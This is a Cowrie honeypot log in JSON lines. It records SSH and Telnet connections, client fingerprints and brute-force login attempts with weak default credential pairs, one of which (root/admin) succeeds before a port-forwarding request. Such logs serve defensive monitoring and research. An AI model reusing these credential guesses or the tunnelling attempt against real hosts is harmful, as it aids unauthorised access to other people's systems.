{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:25.875885Z","src_ip":"165.227.170.113","session":"bce5ed78a88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user15","password":"user15","message":"login attempt [user15/user15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:26.249679Z","src_ip":"165.227.170.113","session":"bce5ed78a88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:27.338629Z","src_ip":"165.227.170.113","session":"bce5ed78a88a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4007,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6fa6307651","protocol":"telnet","message":"New connection: 212.55.149.117:4007 (10.17.0.5:23) [session: ab6fa6307651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:42.649389Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":38806,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ff6ef505d1","protocol":"ssh","message":"New connection: 94.26.106.252:38806 (10.17.0.5:22) [session: f2ff6ef505d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:46.707709Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:46.712901Z","src_ip":"94.26.106.252","session":"f2ff6ef505d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.252","src_port":38810,"dst_ip":"10.17.0.5","dst_port":22,"session":"091303d2d525","protocol":"ssh","message":"New connection: 94.26.106.252:38810 (10.17.0.5:22) [session: 091303d2d525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:46.888376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:46.893464Z","src_ip":"94.26.106.252","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:46.982612Z","src_ip":"94.26.106.252","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:47.163593Z","src_ip":"94.26.106.252","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.252","dst_port":80,"src_ip":"94.26.106.252","src_port":5555,"message":"direct-tcp connection request to 94.26.106.252:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:47.258923Z","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.252","dst_port":80,"data":"b'bV5EcOsnxNH9GralTJAPc3JXrylEV6zysgYiygfOZ5R443FUUM'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.252:80 with data b'bV5EcOsnxNH9GralTJAPc3JXrylEV6zysgYiygfOZ5R443FUUM'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:47.349642Z","src_ip":"94.26.106.252","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:47.450784Z","src_ip":"94.26.106.252","session":"091303d2d525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":22315,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c0166504bd","protocol":"ssh","message":"New connection: 74.87.117.146:22315 (10.17.0.5:22) [session: 27c0166504bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:55.736465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:55.741608Z","src_ip":"74.87.117.146","session":"27c0166504bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:55.766467Z","src_ip":"74.87.117.146","session":"27c0166504bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf1","message":"login attempt [ubuntu/asdf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:55.898917Z","src_ip":"74.87.117.146","session":"27c0166504bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:56.925809Z","src_ip":"74.87.117.146","session":"27c0166504bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56796,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ac40cc6ca9","protocol":"ssh","message":"New connection: 103.15.226.202:56796 (10.17.0.5:22) [session: 47ac40cc6ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:02.757559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:02.763174Z","src_ip":"103.15.226.202","session":"47ac40cc6ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:03.029582Z","src_ip":"103.15.226.202","session":"47ac40cc6ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234.","message":"login attempt [root/Qwer1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:03.790312Z","src_ip":"103.15.226.202","session":"47ac40cc6ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:05.045546Z","src_ip":"103.15.226.202","session":"47ac40cc6ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":47916,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef89cf020e27","protocol":"ssh","message":"New connection: 165.227.170.113:47916 (10.17.0.5:22) [session: ef89cf020e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:08.601603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:08.606863Z","src_ip":"165.227.170.113","session":"ef89cf020e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:08.694335Z","src_ip":"165.227.170.113","session":"ef89cf020e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtesttest","message":"login attempt [test/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:09.075033Z","src_ip":"165.227.170.113","session":"ef89cf020e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:10.165342Z","src_ip":"165.227.170.113","session":"ef89cf020e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":41294,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf97e7de09b","protocol":"ssh","message":"New connection: 190.242.109.42:41294 (10.17.0.5:22) [session: 2bf97e7de09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:26.628003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:26.632816Z","src_ip":"190.242.109.42","session":"2bf97e7de09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:26.733942Z","src_ip":"190.242.109.42","session":"2bf97e7de09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456q","message":"login attempt [admin/123456q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:27.167134Z","src_ip":"190.242.109.42","session":"2bf97e7de09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:28.275789Z","src_ip":"190.242.109.42","session":"2bf97e7de09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.9802885055542,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:44.629518Z","src_ip":"212.55.149.117","session":"ab6fa6307651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":6202,"dst_ip":"10.17.0.5","dst_port":22,"session":"401f5b69f3df","protocol":"ssh","message":"New connection: 74.87.117.146:6202 (10.17.0.5:22) [session: 401f5b69f3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:52.141091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:52.145823Z","src_ip":"74.87.117.146","session":"401f5b69f3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:52.170434Z","src_ip":"74.87.117.146","session":"401f5b69f3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu2","password":"ubuntu2","message":"login attempt [ubuntu2/ubuntu2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:52.301341Z","src_ip":"74.87.117.146","session":"401f5b69f3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:53.329196Z","src_ip":"74.87.117.146","session":"401f5b69f3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":55118,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb6f56cae8a0","protocol":"ssh","message":"New connection: 165.227.170.113:55118 (10.17.0.5:22) [session: eb6f56cae8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:55.963739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:55.972440Z","src_ip":"165.227.170.113","session":"eb6f56cae8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:56.052168Z","src_ip":"165.227.170.113","session":"eb6f56cae8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxasqw12","message":"login attempt [admin/zxasqw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:50:56.402103Z","src_ip":"165.227.170.113","session":"eb6f56cae8a0","protocol":"ssh"}
